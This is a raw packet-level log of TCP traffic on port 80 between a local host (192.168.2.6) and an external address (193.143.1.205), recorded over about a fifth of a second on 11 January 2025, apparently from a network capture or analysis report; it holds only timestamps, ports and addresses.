Jan 11, 2025 04:14:33.031080961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031095028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031140089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031140089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031176090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031586885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031598091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031609058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031644106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031668901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031709909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031722069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031733036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031744957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031764984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031816006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.031949997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031960964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032083988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.032496929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032509089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032521009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032644033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032654047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032665014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032675982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032692909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.032692909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.032859087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032871008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.032896996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.032984018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.033308983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033334017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033412933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.033463001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033473969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033504009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.033520937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033531904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033664942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033675909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033687115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.033706903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.033706903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.033798933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.034221888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034306049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034317017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034388065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034400940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034413099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034435034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.034435034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.034460068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.034575939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034586906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034598112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.034709930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.035118103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035156965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035167933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035183907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.035226107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.035345078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035356045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035367012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035378933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035394907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.035412073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.035491943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.038746119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038793087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038803101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038837910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.038837910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.038847923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038858891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038878918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.038942099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.039587021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.077409983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.077435970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.077447891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.077485085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.077485085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116009951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116048098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116060019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116111040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116156101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116167068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116208076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116292953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116305113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116316080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116328001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116341114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116415977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116435051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116446972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116483927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116511106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116522074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116533041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116555929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116565943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116574049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116574049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116637945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.116839886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116852045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.116967916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.154663086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154762983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154800892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154834986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154867887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154898882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.154900074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.154922009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.154974937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155006886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155009031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155045033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155080080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155111074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155114889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155148983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155194044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155200005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155235052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155237913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155270100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155303955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155328989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155371904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155417919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155467987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155502081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155535936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155553102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155572891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155606985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155658960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155659914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155693054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155725956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155739069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155739069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.155761003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.155793905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156012058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156045914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156078100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156078100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156080008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156112909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156147003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156163931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156181097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156213999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156248093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156276941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156276941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156280994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156467915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156501055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156534910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156541109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156541109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156568050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156622887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156697989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156802893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156836987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156862974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.156871080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156904936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156940937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.156975031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157004118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157004118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157008886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157042980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157075882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157109976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157143116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157143116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157371044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157404900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157437086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157471895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157475948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157475948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157488108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157501936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157517910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157532930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157548904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157553911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157553911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157563925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157579899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157592058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157604933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157604933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157615900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157627106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157638073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.157649040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.157670975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.158139944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.158150911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.158160925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.158171892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.158184052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.158184052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.158250093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160310984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160322905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160334110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160367012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160367012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160412073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160423040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160434008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160475969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160485029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160495996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160506964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160540104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160540104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160661936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160672903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160684109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160693884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160705090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160712004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160716057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160748005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160770893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160892010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160902977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160912991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160921097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.160953999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.160953999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.164236069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.165683985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.168915987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203387022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203461885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203478098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203500032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203535080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203561068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203569889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203634977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203679085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203690052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203722954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203758001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203783989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203792095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203825951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203851938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203864098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203866959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203897953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203933001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.203938961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.203967094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204005003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204104900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204155922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204189062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204222918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204230070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204256058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204293013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204313040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204349041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204435110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204468966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204502106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204519987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204535961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204570055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.204592943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.204607010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.207330942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.241648912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241691113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241748095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241786003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.241796970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241832018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241863966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241900921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241902113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.241902113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.241952896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241986990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.241995096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242021084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242054939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242088079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242114067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242194891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242221117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242254019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242288113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242352962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242384911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242408991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242419004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242438078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242454052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242486954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242487907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242521048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242552996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242572069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242793083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242820978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242846012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242852926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242887020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242901087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.242919922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242953062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242985964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.242995024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243019104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243052006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243084908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243092060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243092060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243118048 CET	80	49710	193.143.1.205	192.168.2.6
